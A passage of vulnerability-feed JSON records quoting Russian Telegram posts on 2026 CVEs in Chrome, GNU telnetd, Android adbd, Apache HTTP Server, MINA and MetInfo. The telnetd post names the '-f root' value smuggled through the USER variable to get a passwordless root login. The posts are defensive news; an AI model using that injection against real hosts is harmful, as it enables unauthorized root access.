\u043a\u043e\u0434 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n\n\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0432\u0438\u0434\u043d\u043e \u0432 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0432 Chromium. \u041f\u0430\u0442\u0447 \u0434\u0435\u043b\u0430\u043b\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u0441\u043f\u0435\u0448\u043a\u0435, \u0438 \u043e\u043d \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a cherry-picked (\u0432\u0437\u044f\u0442 \u0438\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0435\u0442\u043a\u0438 \u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0432\u043b\u0438\u0442 \u0432 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u0443\u044e). \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 \u043a \u043a\u043e\u0434\u0443 \u0430\u0432\u0442\u043e\u0440\u044b \u043f\u0440\u044f\u043c\u043e \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043f\u0430\u0442\u0447 \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0441\u043d\u0430\u043f\u0448\u043e\u0442 \u043a\u0430\u0440\u0442\u044b \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u043f\u0440\u0438 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0447\u0438\u0442\u0430\u0442\u044c \u0431\u0438\u0442\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430. \u0410 \u0432\u043e\u0442 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u043e\u0447\u0438\u043d\u043a\u0430 \u044d\u0442\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u0430 \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439, \u043f\u043e\u043a\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0431\u0430\u0433-\u0440\u0435\u043f\u043e\u0440\u0442. \u0422\u043e \u0435\u0441\u0442\u044c \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043a\u043e\u0441\u0442\u044b\u043b\u044c, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0438\u0433\u0440\u0430\u0442\u044c \u0432\u0440\u0435\u043c\u044f.\n\n\u0414\u0435\u0442\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0435\u0440\u0436\u0430\u0442 \u0432 \u0441\u0435\u043a\u0440\u0435\u0442\u0435 \u043f\u043e\u043a\u0430 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0441\u044f, \u043d\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u0443\u0436\u0435 \u0433\u0443\u043b\u044f\u0435\u0442 \u043f\u043e \u0441\u0435\u0442\u0438. \u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 Chrome \u0441\u043b\u043e\u0432\u0438\u043b \u0432\u043e\u0441\u0435\u043c\u044c \u0442\u0430\u043a\u0438\u0445 0-day \u043f\u0440\u043e\u0431\u0438\u0432\u043e\u0432, \u0432\u0438\u0434\u0438\u043c\u043e, \u044d\u0442\u043e\u0442 \u0433\u043e\u0434 \u043d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c.\n\n\u2622\ufe0f @zeroday_log", "creation_timestamp": "2026-02-22T05:11:14.000000Z"}, {"uuid": "dd44692f-8d13-4018-bfc5-0eb1db6732b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/sysodmins/28154", "content": "\u2328\ufe0f Telnet \u0441\u043d\u043e\u0432\u0430 \u0434\u0430\u0440\u0438\u0442 root-\u043f\u0440\u0430\u0432\u0430 \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f (CVE-2026-24061)\n\n\u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u0432 2026 \u0433\u043e\u0434\u0443 \u043f\u043e\u0440\u0442 23 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0437\u0430\u043a\u0440\u044b\u0442 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0444\u0430\u0435\u0440\u0432\u043e\u043b\u043e\u043c, \u0430 \u0437\u0430\u043b\u0438\u0442 \u0431\u0435\u0442\u043e\u043d\u043e\u043c. \u041d\u043e \u0435\u0441\u043b\u0438 \u0432 \u0432\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u0440\u0435 (\u0438\u043b\u0438 \u043d\u0430 \u0441\u0442\u0430\u0440\u044b\u0445 \u0436\u0435\u043b\u0435\u0437\u043a\u0430\u0445) \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f GNU InetUtils telnetd, \u0443 \u043c\u0435\u043d\u044f \u0434\u043b\u044f \u0432\u0430\u0441 \u043f\u043b\u043e\u0445\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438.\n\n\u0412 \u0434\u0435\u043c\u043e\u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVSS 9.8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f, \u043f\u0440\u043e\u0441\u0442\u043e \u0433\u0440\u0430\u043c\u043e\u0442\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0432. \u0414\u044b\u0440\u0430 \u0436\u0438\u043b\u0430 \u0432 \u043a\u043e\u0434\u0435 11 \u043b\u0435\u0442 (\u0441 2015 \u0433\u043e\u0434\u0430), \u0438 \u043d\u0438\u043a\u0442\u043e \u0435\u0451 \u043d\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043b.\n\n\u0414\u0435\u043c\u043e\u043d telnetd \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043e\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f USER \u0438, \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u044f\u0441\u044c, \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 /bin/login. \u0410 \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u0445\u0430\u0446\u043a\u0435\u0440 \u043f\u0435\u0440\u0435\u0434\u0430\u0441\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 -f root? \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0432\u0438\u0434\u0438\u0442 \u0444\u043b\u0430\u0433 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439, \u0438 \u0440\u0435\u0448\u0430\u0435\u0442, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0443\u0436\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u0432\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u043e\u0434 \u0440\u0443\u0442\u043e\u043c \ud83c\udfa9\n\n\u0418\u0411\u0448\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442, \u0447\u0442\u043e \u0441 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u041a\u0438\u0442\u0430\u044f, \u0421\u0428\u0410 \u0438 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u043e\u0432 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0441\u043a\u0430\u043d\u0438\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0432 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043c\u0430\u043c\u043e\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0442\u0435\u043b\u043d\u0435\u0442\u043e\u043c.\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 Telnet \u0432 2026 \u0433\u043e\u0434\u0443... \u0442\u043e, \u0432\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0437\u0430\u0447\u0435\u043c? \ud83e\udd21 \u0410 \u0432\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 \u043f\u0430\u043a\u0435\u0442 inetutils \u0438\u043b\u0438 \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442\u0435 \u043d\u0430 SSH.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2026-01-27T06:22:26.000000Z"}, {"uuid": "1341052d-9dcb-4172-a95f-6ad748d276fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://t.me/true_secator/8179", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0432\u0430\u0436\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b, \u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f:\n\n1. \u0412 Android \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-0073, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u041e\u0421 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\u00a0\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 adbd (Android Debug Bridge daemon), \u0444\u043e\u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Android \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0432\u044f\u0437\u044c\u044e \u043c\u0435\u0436\u0434\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c \u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435.\n\n\u041f\u043e\u043a\u0430 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-0073 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0435\u0442, \u043d\u043e \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043a\u0430.\n\n2. Apache \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u0435\u0441\u044f\u0442\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 HTTP Server \u0438 MINA, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f RCE.\n\n\u0412 Apache HTTP Server 2.4.67 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0434\u043b\u044f 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, 10 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0432\u0441\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - CVE-2026-23918, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 HTTP/2. \u0418\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044f \u043f\u0440\u0435\u0436\u0434\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u0441\u0431\u0440\u043e\u0441, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u0414\u0440\u0443\u0433\u0430\u044f, CVE-2026-28780, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 AJP-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f, \u0432\u044b\u0437\u044b\u0432\u0430\u044f DoS \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u043a\u043e\u0434.\n\n\u0422\u0440\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, CVE-2026-29168, CVE-2026-29169 \u0438 CVE-2026-33007, \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0430 \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 (CVE-2026-24072, CVE-2026-33857, CVE-2026-34032 \u0438 CVE-2026-34059) - \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0435\u0439 CRLF (CVE-2026-33523), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c HTTP-\u043e\u0442\u0432\u0435\u0442\u0430\u043c\u0438, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 (CVE-2026-33006), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Digest.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Apache\u00a0\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430\u00a0\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 MINA 2.2.7 \u0438 MINA 2.1.12, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2026-42778 \u0438 CVE-2026-42779. \n\n\u041f\u0435\u0440\u0432\u0430\u044f - \u044d\u0442\u043e \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f CVE-2026-41409, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f CVE-2024-52046, \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE.\n\n\u0412\u0442\u043e\u0440\u0430\u044f - \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f CVE-2026-41635, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0441\u043f\u0438\u0441\u043a\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n3. VulnCheck \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e CVE-2026-29014\u00a0(CVSS: 9,8) \u0432 CMS \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c MetInfo.\n\n\u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 MetInfo CMS 7.9, 8.0 \u0438 8.1 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c PHP-\u043a\u043e\u0434\u043e\u043c.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0443\u044e \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 